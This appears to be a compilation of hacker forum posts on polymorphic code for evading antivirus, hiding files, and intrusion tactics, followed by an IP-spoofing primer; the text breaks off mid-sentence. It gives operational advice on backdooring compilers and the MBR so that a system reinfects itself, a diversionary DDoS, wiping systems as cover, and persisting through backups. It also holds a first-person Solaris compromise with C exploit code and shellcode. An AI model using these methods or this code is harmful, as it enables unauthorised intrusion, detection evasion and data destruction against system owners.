But, nice to see someone else that tinkers AV sigs ; )
================>
I disagree.
The main decryptor can be polymorphed later-on in the code so that each new
generation has a different header-code.
Take for example;
[ORIGINAL CODE]
[COPY OF CODE]
The end part of the original code modifies the copy THEN using the next-byte
XOR method creates a new strain.
OR (and my fave!)
A variable-string XOR.
Most XOR-strings are 8 or 16 bytes long, with a variable length - who knows ???
Just grab a random length and encrypt (Kernel depending I guess - a bit iffy?).
The thing I notice (and LOVE) about x86 ASM is that there's several ways to
code the same routine.
Using my aforementioned method, you could ALSO throw in some NOPS if you're not
happy relocating bytes ;)
It would take a fair bit of coding, but I believe it's possible to create a
fully polymorphic engine (I know some oldies claimed to do this - but we all
know the truth!).
With the linear thinking of the common coder, no - a 100% self-polymorphic
programme seems impossible. But I'm no linear thinker (you'll be surprised how
many people I caught out with "AND al,o" then "OR al,4c" type statements!).
Although I HATE the use of self-replicating codes, I might just attempt to
create such an engine (although I'm dubious that releasing such a code in the
current climate is a good idea!).
REMEMBER: The original poly engines were shipped in .OBJ files with LARGE
tables which, unencrypted, WERE static. A self-modifying code doesn't need to
adhere to such rules and can become more flexible ---- YEAY, Maths in action !!!
-WarlockTMM
================>
But, I think you will agree that most polymorphics are cheap imitations that
have a small finite number of possibilities or a unique signature. Many viri
lay claim to polymorphism but can you name one that achieves it ? I mean, I
never saw a polymorph engine that managed to reduce signature potential to 3
bytes or less before. Oops, wait ... I did ... but it was vulnerable to
wildcard signature detection.
A true polymorphic would never have a signature above 1 non-unique instruction
... so, 3 to 4 bytes should be our aim ... way too small for an AV signature.
My code achieves this, but at a cost. Overhead in the decrypt routine is high
due to rampant layering of redundancy ... however, unlike byte replacers that
choose a fixed length fixed position nop nop / push pop / inc dec scheme, my
technique makes for almost incalculable permutations and needs an AI to detect.
Even the jumps are recalculated, so all of the instructions are fairly generic
looking ... (Jump instructions can often give the code away due to their fixed
nature and 2 or 3 jumps of fixed nature can just about fingerprint a decent
pseudo-polymorphic, regardless of the variation of bytes between them)
I guess my point is that there is no need for well thought out malware to ever
trip an AV, tripping AV is sloppy.
... not as sloppy as showing Trojan ports on a netstat <G> ...
but sloppy all the same ; )
*sigh* Such a shame that ASM is a dying art. Even 1-chip embedded
micro-controllers have started using freakin java and a kernel.
-------------------------------------------------------------------------
DISCLAIMER: This is NOT a discussion about VIRII creation, it is merely a
discussion on protecting code integrity by making it impossible to detect
by signature ... this technology could be equally applied to backdoors,
rootkits and any other code you may not want identified. The author does
not distribute viri and will not assist in the creation or distribution of
viral, worming or other self replicating code.
--------------------------------------------------------------------------
Sorry, I just figured I better get that out the way before someone roasts my
a55 ; )
> Very good tutorial on polymorphic code.
Thanks : )
> One question I have is what about using a higher language (c for example)
> and then going in to a disassembler and modifying the code to become
> polymorphic?
> Or do you think that the c compiler would make the signature the AV's look for
> before you disassemble it? If so is there any way to make the compiler not
> create
> a sig?
Well, I would suggest writing your code in C ... and then using it as the
encrypted payload of a package that is self-decrypted/re-encrypted each run by
a small ASM stub that is obfuscated,
The reason I don't suggest trying to write a C/C++ polymorphic executable is
that you lose a lot of the fine control over discrete assembler instructions
when using C, fortunately it IS possible, and C will often allow inline
assembler so you can mix the two languages IN SOURCE (Or you can even write
your machine code as a byte array, i.e. data within your program ... and then
call its address as a procedure)
Problems arise from this though, firstly, your C compiler may begin with a lot
of code to initialise its environment and build a framework that it will then
execute the rest of the code within, you have very little control over this.
This will mean that you cant encrypt the whole of your code, because nothing
you write in C can be executed until the framework is prepared, so a
self-decryptor routine in C is called AFTER a lot of supporting code is executed
... now, you COULD obfuscate all this code (Because it isn't timing critical,
so it won't care about lost processor cycles due to the obfuscation's huge
overhead of redundant code) but, bear in mind that you will be obfuscating more
bytes than you would under an ASM scheme.
[Lump of C++ Initialisation code and build/compiler strings]
[OBFUSCATED HEADER (C++) including decryption key]
.
everything below here is encrypted
.
[Payload (C/C++)]
[SIP marked (Word aligned) clean copy of header]
[SIP marked (Word aligned) table of LARGE obfuscate code fragments]
[SIP marked (Word aligned) table of SMALL obfuscate code fragments]
[SIP marked (Word aligned) table of TINY obfuscate code fragments]
Now, we have to be careful here ... because C++ may call a routine in the
encrypted section FROM our decryption routine in the header, or even during the
initialise .... this will cause a crash because that data is (At that point)
still encrypted and therefore nonsensical to the processor)
For example, if your KEY required to decrypt the tail is stored as data, the
compiler may want to place it near the bottom of the program, this would place
the key INSIDE the encrypted section where it will get screwed ... not good.
SO ...
A much better method would be to write your code in C/C++ and encrypt it with a
simple XOR (or other bitmangling) scheme ... and then write a separate ASM
routine that is self obfuscating within its own confines, and un-mangles the C
payload prior to letting it run. This is a much better method as the header is
small and runs immediately and less bytes need to be obfuscated (layered
Obfuscation of the kind required to defeat any signature-seeking scheme can get
very unwieldy and causes your header to grow like crazy ... so, ideally a small
ASM header is best not a chunky ol' C/C++ one ... this way we keep the level of
growth due to inserted layers of redundancy to a minimum)
[OBFUSCATED HEADER (ASM) including decrypt key]
.
everything below here is encrypted
.
[Payload (C/C++)]
[SIP marked (Word aligned) clean copy of header]
[SIP marked (Word aligned) table of LARGE obfuscate code fragments]
[SIP marked (Word aligned) table of SMALL obfuscate code fragments]
[SIP marked (Word aligned) table of TINY obfuscate code fragments]
Because the header is nice, clean, compact and predictable ASM we know that it
is self contained, it wont try to execute something in the encrypted section
because it has no resources there, nor will it place the key there as a data
resource or other nasty surprises ... and being small it will grow much less
when obfuscated.
So, to answer your question ... it is possible if you are careful, but its more
fuss than just using ASM.
Don't worry about compiler signatures ... if your compiler boldly marks the
code as being built with 'VERSION 9.9.9.9 beta SuperC' and '(C)2000 - Krazy
Kompilers Inc.' it is nothing to worry about ... keep those strings in if you
wish, remember that hundreds or even thousands of other commercial apps were
written with the same compiler and therefore no antivirus vendor would use that
identifier as a viral signature. Can you imagine the hell if an AV vendor
decided that a VisualC++ identifier was a decent viral identification ? Viral
sig's are only taken from UNIQUE sequences of bytes ... and your compilers
header will be way too generic in most cases.
If in doubt, obfuscate it along with the header ... or just fill those strings
with garbage bytes and only obfuscate the actual unique code. But, these
compiler headers are another good reason to use ASM in the decryption stub.
--=[ Hiding files on a unix system ]=--
================>
Hiding stuff on a system has never been my speciality. I am trying to hide some
files/dir on a friends system, so I just put them in /var/tmp, well he did
ls -alR and saw them, so I made a looping symlink and his ls died, so he went
into the dir manually because he could see the dir before it died.
What other ways on a UNIX system could you hide files?
-InSaNe
================>
Well, you could always use the old trick and interleave your drive : ) That
even fools computer forensics most of the time (Just make sure you keep the
normal drive capacity correct, or they will go looking for hidden partitions
and may find the interleave)
Remember interleaving ?
To interleave you get a drive that is NOT top of the range and in the same
range as a top-of-the-line model with the same chassis etc ...
The chances are that the platter for both drives (The high capacity one AND the
lower capacity one) are actually the same part number (hence, the same
resolution) ... also, the stepper is probably the same too ... this is because
its cheaper to have one production line making a high grade stepper that can be
used in both than it is to have TWO production lines making two different
grades of stepper.
So, your low-spec HD's stepper can track the disk surface with the same
precision as the best model in the same range (Providing that your drive is NOT
discontinued ... ask the manufacturer and make sure its STILL in production ...
tell them you are considering a major order and then ask for their corporate
sales dept.)
If its still in production, then buy direct from the manufacturer .... that way
you are not getting old stock (Which may be using yesterdays steppers and
platters)
Now, you can change the offset for the start of the disk and get an interleave
that winds between your existing data ... two drives for the price of one ...
run it into the ground, let it heat up ... make sure it can track both even
after 30 mins of continuous writing and a hot chassis ... if so, you are in
business ; )
Now, if your system ever gets seized ... your disk appears straightforward ...
they can read the full capacity of the disk without finding anything : ) All
the disk surface can be accounted for : )
This was a trick that started with my old 10mb IBM max on an old tulip 80286
with amber Hercules and still works well today, Just don't try it on an 80gb
drive, it wont work ... find a range that does a 60gb AND a 30gb and then buy
the newest hot-off-the-line 30 you can and interleave it.
The best drive I have ever successfully interleaved with reliable operation is
an IDE Seagate Barracuda 30.6gb (SEA365/ST330630B) ... the 330630A is a
discontinued production using an older stepper and won't interleave ... but the
630B uses the stepper and platter from a 62gb model ; )
Someone told me that this is a similar method that MI6 use on laptops given to
foreign diplomats and agents abroad.
================>
Problem here is, not my drive, I don't have physical access, and I kinda am
looking for software methods. But hey, interleaving is very cool, and this was
the first I have heard of it, learn something everyday. Any detailed articles
or white paper type stuff you know of?
-InSaNe
================>
There was a lot on a nice BBS (dialup) called Pimlico ... sadly, that is around
no more. Hmmmm ... good question though, I'll keep my eyes open for anything
more formal on interleaves.
What exactly is it that you are trying to hide? I ask because there may be
another way around your problem ... the thing is, by now he already knows you
are trying to hide stuff ... so, every command you type will be reviewed when
he wants to see what you been up to.
Short of rooting his box and recompiling the kernel to misbehave or include
some form of file filtering at kernel level there isn't much, anything you try
will be being logged now.
So, maybe the best form of 'hiding' is by placing something in plain view,
encryption is good ... and, if you need to hide a script and keep it executable
why not garble your script and set its associated interpreter as a binary in
your own homespace that reads, degarbles and executes on the real interpreter
... not waterproof, but makes for an interesting puzzle with the admin,
especially if the degarbler can't be restarted because it kicks a challenge
sequence which has to have an appropriate reply in order to internally generate
the key that will ungarble the script ... anything else will just throw hot
garbage.
At least then the admins captured sessions won't help him see what your script
is doing ; )
Let us know what your exact requirements are, and lets see if we can find away
around it - cus I sure don't think you will be able to hide a file with the
admin already breathing over your shoulder.
================>
Well, I do know him, and he is expecting me to mess around, so he isn't actively
searching my home dir, just ls -alR on / to see my stuff. He does trust me on a
certain level, originally, I CVS'd the OpenBSD source tree for him to get the
patches since he didn't know how yet, I backdoored the adduser PERL script so
after he used it, it would be suid root. But, being a incompetent, I MADE A
DAMN TYPO. Instead of system("chmod 4755 /usr/sbin/adduser"); at the end of
adduser, I put system("chmod 755 /usr/bin/adduser"); hence that killed me. Now,
I CVS'd the OpenBSD ports tree for him. Unfortunately, all the make scripts are
set to have to ports tree in /usr, so they die, cause I was gonna get the ytalk
port, modify it to compile and install a modified adduser, but it dies since
the directories are not right. I am gonna edit the make include for it, but
that is gonna take a while since it is like thousands of lines. So basically,
just kinda would like to hide basic files, like my modified adduser....
which I haven't uploaded yet because I don't want him to see it.
-InSaNe
================>
LOL
I love the typo, jees, couldn't ya jus' kick yourself for that ; )
Well, it sounds like you got his trust so its gonna be easy for you, you should
be looking to place your backdoor in the #includes for gcc g++ ... and let him
upgrade as many daemons and services as he wishes, even the kernel. Compiling
will strap your hole to each service neatly, and his tripwire will never flag
: )
Future versions of the g++ gcc #includes will have the same prototypes, so
auto-reinfection when he updates is as easy as getting the backdoored services
and daemons to periodically look at the include file and, if it has write
access and the date has changed, locate the prototype (Make it whitespace
tolerant) then place your dooring code after the first '{' Use a '/*Already
done marker*/' to indicate that this file was already patched, so that you
don't add multiple iterations of the door code if the date changes but its
still the original file.
You can guarantee that at some point he will recompile something that will
occasionally be run as root ... and then, if he ever replaces all the #includes,
the thing he recompiled will notice and add the door code to the #include using
simple ASCII file handling, and then who cares if he goes on to recompile his
entire system with his new compiler ver <G>
Remember, the benefit to this is that tripwire is EXPECTING a change to the
services he recompiles, so you avoid all tripwire issues by making the compiler
a door dropper : )
I lose count of the number of systems this approach has worked on ... and you
wont believe the immense satisfaction of watching a box slowly hole itself by
increments ... or the joy of making your hack known to the admin long after the
backups have captured your changes so that he will check the wire, backup,
upgrade, patch and generally recompile everything and hole the box completely
for you ; )
Its even more fun when, before patching and recompiling, he updates his compiler
... and the already infected services infect the #include again almost instantly
(Tripwire only spotted changes that were expected) ... and then we watch him
hole his entire system for us ... Oh my : D
This could be fun, please update us on all the interesting methods you use to
make your use of this box a more, ummmmmmm, liberated experience : D Could be
fun reading : )
--=[ Avoiding detection ]=--
Well, there's a few basic ideas on this ... but specifics depend on too many
factors such as OS, level of access, method of escalation, security software
running, whether in a shell or attacking FTP or HTTPd vuln's etc ...
I apologise for the fact that this post ;doesn't adequately answer your post,
because its impossible to give details of hiding an intrusion attempt without
knowing a lot more about the target environment.
All I can do is share a general approach with you, my personal favourite is a
highly visible act of apparent vandalism that leaves you able to sneak silently
into the system *afterwards*
CHAPTER 1. THE SCOUTING PARTY
Try to initially go in during peak business and explore slowly and methodically
the running processes and installed software/versions, build up a picture of
what they run and how everything sits, note the userID's and watch for admins
... be gentle and anything you do will be lost in the everyday traffic cus you
ain't ringing alarm bells. I like the busy days, you get a feel for the system
real fast : )
List your targets among the running software and version numbers, when we start
hacking there's a big chance we'll get noticed ... I've learned that slow
gentle hacks often just get you locked out ... so best to be clear about
everything we intent to try and script as much of it as possible ready to paste
right into the session as required.
There will be some things you want to look at that may attract suspicion, you
should be okay when the system is busy because you can hide in the general
bustle ... but if you have some administrative staff on the box and they are
not idle then I suggest you may want to generate some additional bustle
elsewhere too ... <G>
Cus we have done all we can gently, now we want to take a closer look at how
things are sitting and what patch levels are in place on susceptible versions
... this may mean doing some shit that a normal user would never do, so,
onwards to chapter two
CHAPTER 2: A BAD DAY BEGINS
Okay, we are ready to probe some of those services to refine our attack plan, a
potential hazard though ... we got administrative staff and they are not idling
... A diversion would be nice - but lets restrict it to a different box. You may
want to gently DDoS one of their other boxes just to draw some attention and
make the FW and router logs go a little nutz ... get them concentrating on
grabbing IP's and phoning providers.
Okay, those admins will probably be idling in a moment, so lets take advantage
of their added workload.
The attack on the second box has peoples attention for a little while and the
high daytime usage on this box is masking your play ... probe everything you
need to with care and don't even think of going near the /etc/passwd.
This is the time for being a little more persuasive, looking for the telltale
signs of patch levels in the behaviour of the app using whatever looks as much
like a common user error as you can manage ... we don't have too much time, an
admin can see one or two of these little mistakes and think nothing of it - but
a user repeatedly making mistakes of a similar nature to a sploit without
actually sending sploit code is enough to make any admin worth his salt pay
attention. It won't come to this though.
Disconnect when you have enough, and start scripting all those attacks and
countermeasures ready for a quick paste under pressure ... you want to do as
little actual thinking as possible once you start ... so do it ALL now, don't
type anything that you can PASTE into a session faster.
CHAPTER 3. ASSAULT UNDER COVER OF DARKNESS
Tactics change here, and may seem bizarre.
Choose a time when the office is closed or just a few support staff are in
manning the tech-support lines. Sundays at 4-5am are good. Thing is, the night
staff may be woken up by the a computer suddenly screaming ... and its easy to
concentrate on an attacker when there is no other network activity.
Don't get sum1 to call them on the phone to occupy them, you'll just wake them
up - and they are then more likely to hear/see any warnings ... react faster ...
and they will just tell you to call back and hang up on you.
Pull your homebrew rootkit, your scripts all ready for paste, open more of each
window than you need (I hate having to load something up, its easier just to
switch to a new window) and if you get a 'who the hell are you?' don't panic.
If you are already on your way into the system then you might want to kill the
terminals anticipating a lockout, it will get some time while they try to get
back in ... but ultimately, if they can't, they will PTP.
DON'T try locking them up by pre-emptively sending the entire recursive cat
output at the terminal device from / or anything else silly... cus it can be
damn noisy, if you want to lock a terminal this way lock it with looping text
devoid of control chars. But don't bother if the admin terminals are idling,
they may be sleeping ... but if you see them come off idle after you begin, hit
them if you can. Just don't spend time trying to keep them out - you will fail
unless you've hit root - besides, when they lose control they tend to pull the
plug - Its more important that we proceed quickly.
CHAPTER 4a. THE OCCUPATION
[ALL OF THIS IS DONE FROM PASTE OR A SINGLE LYNX GRAB]
Once you are in you will want to do a little more than create an account or back
door a service ... this box is soon gonna be restored completely from backup,
the MBR will probably survive however, so grabbing the contents of the MBR and
adding a hole dropper right there will be your best bet. Preferably one that
detects changes in the #includes for libc gcc g++ and amends to its description
of a common function to allow it to accept some form of inter-process
communication and redirect a shell's iostreams to/from the pipe.
Also amend to its description of a socket to include some additional code that
communicates using an inter-process method with any running instance of the
other code.
This will allow you to use ANY listening socket (And a special key sequence) to
get a list of processes infected with the first modification (Which will be all
compiled processes because you used some general routine) ... The list will be
all the infected threads and their userID ... then just choose one by number to
get the socket code to start an IPC with that chosen instance and drop you in a
redirected shell of that userID.
And, you only ever show as making a connection to the initial socket ... say
the HTTPd : )
The details of this were covered elsewhere in this forum a while back, and
they work.
4b. MISINFORMATION & PROPAGANDA
Now for the cover story ... Final action - Wipe the system clean and exit, make
it look like an attempt to wipe the box NOT root it. They will relax, if you
leave the system up and just wipe the logs they will be looking for
modifications - by wiping everything you just look like a complete bastard that
was intent on hurting them. And hell, what's the point of their tripwire when
there's nothing to check ?
Post a note, make a call, (Or my favourite, send fax) to the admin when you
down the system ...
'Good afternoon ... I just rooted your box by using a combination of holes in
your kernel which wouldn't have been possible if it wasn't for the unpatched
and outdated services I found ... Now, why don't you fire that shit of a
sysadmin you got and tell him not to be such an arrogant prick or I'll do the
same to his car. L8'
You made it look personal, like a vendetta ... it explains why you wiped them
clean instead of attempting to hide a backdoor ... It also makes them want to
patch and recompile everything. Once they get the backup restored they will
start patching, upgrading, recompiling ... and that MBR hidden dropper will
have turned their compiler into one hole-factory.
CHAPTER 5. THE ENEMY WITHIN
Wait till a month or two has gone by, the box will be holing itself in
increments as they patch, install and compile ... and after a month or two you
are sure to have your changes backed up onto several generations of tape.
Then just connect a port, drop your keyword, choose a process from the infected
list with a high access, and drop into a nice neat shell ... without going
anywhere near their telnet. And the best thing? You're not even logged in as a
user. In fact, your actions in here are probably not even logged anywhere. Just
a known thread doing its thing : )
And if you used a decent level of IP masking you will all live happily ever
after : )
*yawn*
And with those words, the old storyteller closed the big dusty old book and put
out the candles one by one. G'nitez.
cont....
I mean, there's same little rules that I use, and some games I like to play ...
but that's a pretty normal game plan for me.
I always like to spend a day or two gathering information, checking the daemons
and gently pressing them in the exploit area just to see if they will react the
way I want when the time comes, this gives a good indication of the patch level.
If I haven't used a particular exploit before, then I generally download the OS
distro to a different machine and install the daemon to give me a few runs at it
before I go live ... often the exploits are mis-specified or miss out something
valuable and your command doesn't go through ... this way I get to see what
works and what doesn't ... and that will save me time - I can now script it
with certainty rather than sit there in a hot environment bouncing my head off
a protocol or buffer wondering if its going through.
Then I sit down and put everything in order of likelihood so I don't waste time.
Script everything I can, not just attacks ... but my intentions inside the
system.
Once you got it clear, time to catch someone sleeping - sometimes they wake up,
sometimes they don't ... its all just luck. Often you WANT them to wake up just
to see you before you roll their box over ; ) But as a general rule I find
these statements useful.
o Never cause a sysadmin to lose complete control - they will PTP (Pull the
plug)
o Once you get in you should immediately install your door in a persistent
manner, always assume you were noticed.
o Never bother with the etc/passwd/ ... if you were successful then you can
always get it later if interested ... if you were discovered the passwords will
all change anyhow.
o When you are in there you might require 3 minutes to secure your access but
the admin only requires 3 seconds ... so, 20 minutes of preparation can give
you the advantage ... he may be the admin, but I bet you can paste a page
faster than he can type a line *wink*
o Admins HATE to install from scratch, all the daemons and patches and
configurations ... Managers hate admins taking the box down for any longer than
necessary and will often bring pressure to bear and force the 'quick repair'
... The most complete way is the 'backup tape' so, use this to your advantage
o Once you have secured your access go to sleep for a while, by NOT showing
your power you allow your changes to make it into the backup tapes for a few
generations. Remember that the week after the farmer sows his seed the ground
still looks flat. You should aim at a few months if possible ... this way you
will be deeply into their backups.
o If you have access to a box (and you are also in several generations of
backup) you can get in so easily and you think you are a God, hell, you might
even be right ... but DONT go yelling about it. admins would rather cleanse and
burn than lose their job ... So, try to make him look good by keeping your head
down and your mouth shut <G> and let him take all the back-patting for doing
such a good job on that hacker incident last month ; )
--=[ Solais Tip Exploit (Remixed) ]=--
Been playing tonight with published exploits ...
Had such a good time I thought I'd write some events
up for a few of the lurking newbies to get a taste for
how a session sometimes goes/feels.
Ummm, should I put a disclaimer today? ummm ... No ; )
------------------------------------------------------
Just tipped a solaris7 ***remotely*** using a modified version of the published
'tip' exploit coupled with a bad hole in a weak CGI scheme ... this kinda
proves you can do this remotely.
From beginning to end the whole sploit fits within a <100 byte window which was
easy to push through the CGI. (For some reason the CGI hole was truncating
longer urlformencoded parameters)
The CGI shelled out as user 'nobody_d' with very limited privs, but we had
compiler access and after more 10 minutes of probing it and dumping the results
into public_html/index_bak.html I was starting to get a pretty good picture of
what I was playing with.
Looked for exploitable areas by pushing the commands through the CGI and
dumping results into the web tree for pickup with the browser. Found patch
levels seemed adequate on everything, saw tip was running uucp, better still -
running gcc and g++ redirected to the web-tree showed that I had compiler
access ... I figured it was time to try tipping a solaris for the first time.
Used CGI to fire one line of my code at a time into a file 'go_tip.c' but for a
reason I have not been able to figure out, my file kept screwing up (So did
commands occasionally), and I put this down to an artefact of the CGI script.
Not wishing to give up I POSTed go_tip as a JPG using their webmail client ...
And kept forcing shell commands through CGI to ls -l the /tmp to
public_html/index_bak.html so that I could look for temporary filename of the
uploaded .jpg's ... checked the file size, found the match and copied it out.
(Try it, it ain't easy to get it to stay there long enough)
Compile went fine, stored the binary back in /tmp and renamed the .c to
banner02.gif
Ran the executable, nothing but a scream and a core !
changed the offsets and tried again ... and again ... 4th
time lucky!
By this time, the code was as follows ...
#include <fcntl.h>
long esp(){__asm__("movl %esp,%eax");}
int main(int iCount, char **xcParams)
{
char sh[]=
"\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05\xe8\xf9\xff\xff\xff\x5e\x29
\xc0\x88\x46\xf7\x89\x46\xf2\x50\xb0\x8d\xe8\xe0\xff\xff\xff\x6a\x05\x90\xb0
\x17\xe8\xd6\xff\xff\xff\xeb\x1f\x5e\x8d\x1e\x89\x5e\x0b\x29\xc0\x88\x46\x19
\x89\x46\x14\x89\x46\x0f\x89\x46\x07\xb0\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb
\x18\xe8\xdc\xff\xff\xff\x2f\x74\x6d\x70\x2f\x47\x4f\x01\x01\x01\x01\x02\x02
\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
int iBufLen;
long offsetx = esp() + 0x53;
char buffer[600];
iBufLen = strlen(sh);
symlink("/bin/ksh","/tmp/GO");
memset(buffer,0x90,strlen(buffer));
memcpy(buffer+(600-iBuffLen,sh,iBuffLen);
memcpy(buffer,"HOME=",5);
memcpy(buffer+265,&offsetx,4);
putenv(buffer);
system("/usr/bin/tip 5");
unlink("/tmp/GO");
}
... it had thrown a uucp euid and it was collected using a common defer trick
; ) I then stole the core for good measure (Hey, you never know till you look
*wink*)
Now with the ability to gain fleeting access to higher privs and still no login
access I decided to create my own ... the CGI was pissing me and I didn't like
the idea of all my results sitting in various .html files ...
Now, I had been a clever bunny ... I made a header.html and a footer.html,
which had HTML to refresh, and to open the original CGI (With URLformencoded
commands) to a 1px high frame.
The effect was that my browser went to the URL, which opened a simple 2 frame
page ... put the text file 'results of the last command' in the large lower
frame, and attempted to place the CGI resource in the lower (unseen) frame ...
this caused the command to re-execute, and an auto refresh caused the page to
auto reload, thus giving me an automatically updated view of who was logged in.
still, no admins online that I could see, so I uploaded some BG code to open a
shell with redirected IOstream handles and accept connections on a port in the
temporary range (1024..5000)
I again stole uucp euid (I lost it last time) for my shell-redirect code and I
connected with my telnet ... and boom, dropped right into a ksh with uid 'uucp'
Almost as soon as I did that, an admin came online ... I thanked my stars that
I remembered to use the 2 wingates I had chained, and felt sure that I was
about to be booted (Had the BG process or the opening of a listening port
raised a message somewhere?)
Adrenaline kicked in and my throat went dry, I killed the browser that was
still auto-refreshing and waited, the constant PING noise was making me feel
like a submarine commander playing a waiting game on the bottom ... after an
minor eternity the admin idled and I resumed my attack from the
shell-redirector.
Later managed to escalate root due to some mismanagement of the box - nothing
clever on my part, and placed a multi-part door on the system and modified the
sockets implementation using pasted code from my personal archive and
recompiled.
This weekend, if nothing has been tampered with ... I'll take a look at
direct-disk, and maybe have a crack at the /MBR ... I'll also clean up the door
code to make it a bit more firm ... and make the socket open for only 30
seconds at midnight UCT every night unless connected to correctly, in which
case it will toggle into 24/7 listening ... till I send it a close command.
minimising any chance of it being spotted.
All in all its been a fun night.
I have my cousin sitting here making notes too, hehehe. My aim is to get him
busted before he leaves school <EG> ...
k, time for cold beer.
cont...
The more astute will notice that I have missed out a rather vital piece of
information (that links two sections together) and also that the code I have
included is not the exact code I used for the exploit, but code I used to
initially probe for the exploit.
Also note that for some reason the offset used in this attack was a 4 byte word
out, I don't know why ... if anyone has any ideas let me know (The shell. OS and
tip versions were as expected, and would have seemed to indicate that the
regular offset would have worked ... *shrugs* dunno, beats me ... the same
binary imported to my box works with the original offset)
Ummmm ... Some rather stupid UK laws prohibit me from showing a complete step
by step on how to compromise a system ... This information could probably be
found elsewhere in the internet.
I guess I should also say that I had permission from the admin to attempt this.
Without permission this would definitely be illegal, and as you know ... I'd
never even think of doing anything illegal. ; )
--=[ IP spoofing ]=-- Wrote by rotary 20th March 2001
First of all, I'd like to clear up a bit of confusion about the term 'IP
spoofing'. It seems that every tutorial/program you see about it is completely
different. For the purpose of this paper, I'm going to refer to IP spoofing as
"transmitting a communication stream in a way that misleads the recipient." I
don't consider IP spoofing as necessarily an "attack in which one masquerades
as a trusted machine in order to gain access to the target." There are other
uses for IP spoofs.
So to begin with, let's talk about the basics of TCP/IP. Every book on TCP/IP
will tell you that TCP is a connection-oriented protocol, which tends to sound
like you have a constant connection between machines when they are transmitting
data. This isn't the case though, because TCP has to reside inside of IP
datagrams - which means that its "byte stream" is broken up into packets & sent
one at a time, so there's never a constant connection. Whenever you access a
network or the internet through an application using TCP/IP, the data you are
transmitting is broken into many datagrams which are wrapped with (among other
things) TCP headers and an IP header. This happens through the protocol stack;
this is what it looks like if you're connected to a network:
Your data
...
Program (application layer) - adds Application Header
...
TCP Module (Transport Layer) - adds TCP Header **which includes the initial
sequence number**
...
IP Module (Network Layer) - adds IP Header
From here the network driver adds its header & trailer & sends it on its way.
The reason that TCP is considered connection-oriented is that it verifies the
packets that are sent and received by storing sequence numbers which are
synchronised at the beginning of the connection & checked with every
transmission. First a "connection" is made in what is known as the "three-way
handshake."
A SYN --> B
A <--SYN/ACK B
A ACK --> B
Computer A sends a packet to computer B with the SYN bit on - which tells B to
Synchronise sequence numbers (when the packet went through the protocol stack
the TCP Module added the initial sequence number). Next, B's TCP Module replies
with a TCP segment that includes a SYN flag, B's own initial sequence number,
an Acknowledgement (ACK) flag, and an acknowledgement number. This
acknowledgement number is derived by adding 1 to A's initial sequence number.
Third, A acknowledges B's request for synchronisation with an ACK flag & an
acknowledgement number (derived by adding 1 to B's initial sequence number).
Simple enough?
Once you start sending data, the sequence numbers indicate an offset of the
first byte of data in the datastream. What this means is that each byte of data
has its own sequence number. In order to calculate the acknowledgement number,
simply add the number of bytes received to the sequence number. Inside the
TCP/IP software, though, what really happens is this: the sequence number in
each TCP header represents the first byte of data in that particular packet.
You add 1 to that sequence number for each byte received, and when the
transmitting ends you calculate the acknowledgement number by adding 1 to the
sequence number of the last byte received (for example, if the sequence number
was 1301 & you received 500 bytes of data, the ack number would be 1801).
Sequence numbers are important because if they are not acknowledged, or the ack
number is wrong, that TCP/IP Module will send a RST, which will tell the other
computer to reset the "connection."
Now for the part about spoofing the IP address.
When you build your TCP/IP packets, you can specify whichever IP address you
wish as the 'return address'. The problem is that all the replies from the
target machine will be sent to the IP address you specify. Therefore, you won't
see any of the sequence numbers that you have to acknowledge in order to create
a connection. You can predict the sequence numbers in some systems enough to
send 1 packet with data in it; this is useful if you know of a system with
trust relationships such that authentication is not required of computers with
certain IP addresses. You can send a packet with the trusted IP as your source
IP and a line of code to be executed - preferably to create a root-privileged
backdoor.
In older systems, initial sequence numbers are incremented at a predictable
rate. If you send the target computer a few empty packets with the SYN bit on,
then check the ACKs sent in return, you can use the sequence numbers in the
ACKs to calculate what the next "initial" sequence number will be from this
same machine.
If this is done quickly enough (e.g. with a program) you can then send a SYN
packet to the target machine, wait a second, then send an ACK packet with the
ack number (calculated from the number you predicted + 1). In the data portion
of the packet you send the command you want to be executed. This is a fairly
difficult hack, and you can find out more about it by reading about Mitnick's
attack on Shimomura - there are several articles & a couple of books written
about it.
The only easy IP-spoofing technique with TCP/IP is a DoS attack - you can
easily write a program to send multiple source-routed SYN packets to virtually
any working IP address & cause that machine to be so bogged down with your SYN
requests that it is unable to handle any other legitimate packets, thus
rendering their connection useless. All the ACKs the target computer does send
will go to the IP address you specified & if it's a valid address, that
computer will be taken down as well. DoS is the easiest kind of hack in
existence, though, so don't get cocky just because you can screw with someone's
connection. Hell you can do that ACCIDENTALLY.
Another thing you can do is hijack someone else's IP address by intercepting
the packets addressed to that machine with a sniffer and sending packets with
the proper sequence numbers calculated from the sniffed packets (and DoSing
that machine so that it doesn't respond to any of the packets it receives).
Your connection has to be in a place where you will receive all the packets of
your target machine, though, which means you either have to be on the same
network, or have your program running on their router or something similar.
Another way to hijack an IP address works only if you have an ISP that allots
dynamic IP addresses. You can intercept someone else's connection just as they
lose it but before the ISP has figured out that it has been lost. Then
everything you do with that connection will be traced back to the person you
hijacked the connection from.
IP spoofing is much easier with UDP than with TCP/IP, because it isn't
connection-oriented & doesn't guarantee that all the packets will arrive at the
destination or that they will arrive in the correct order. UDP doesn't
acknowledge packets it receives, so you can specify whatever source IP address
you want. Not many applications use UDP, though, so what you can do with it is
very limited.
This was a very brief introduction to the world of IP spoofing. There are many
other possibilities that I haven't covered here, but this was meant to be a
"primer."
Hey people
There's going to be some downtime from me as I was struck with a good idea
shortly after my last posting ...
Since I'm not happy with the performance of my windows and linux machines I.e.
decided for format all of them and try the operating systems on the other
hardware, maybe using the newer faster machines for linux wasn't the best idea.
Not sure how long it will take for me to do the bench tests and work out which
OS each machine works best with - so if I don't post in a while you'll know I'm
still working on it. Unfortunately by backup streamer isn't big enough so I'm
just going to have to format, luckily I don't have much interesting on any of
them.
Hey, before I go I'd like to relate a funny thing that happened to me at 7:30am
(its 7:50 now).
I got woke up by a very load and persistent buzzing on my door intercom,
figured it must be the wrong address cus everyone knows I'm normally only
getting to sleep by 5am.
Resolved to not answering this annoying caller I chose to stare out of the
window thru the blinds to see who the hell it was as they walked away. Didn't
see anyone walk away ... after about 4 minutes of buzzing the person left, but
not using the normal road up to my property ... Figuring they must have been
parked up out back I looked out just in time to see men getting into police
cars leaving the estate quietly, I tried to open the window to let them know I
was actually in, but they had already drove off before I had managed the
windowlock.
Strange huh? Since I haven't done anything wrong since I moved to this address,
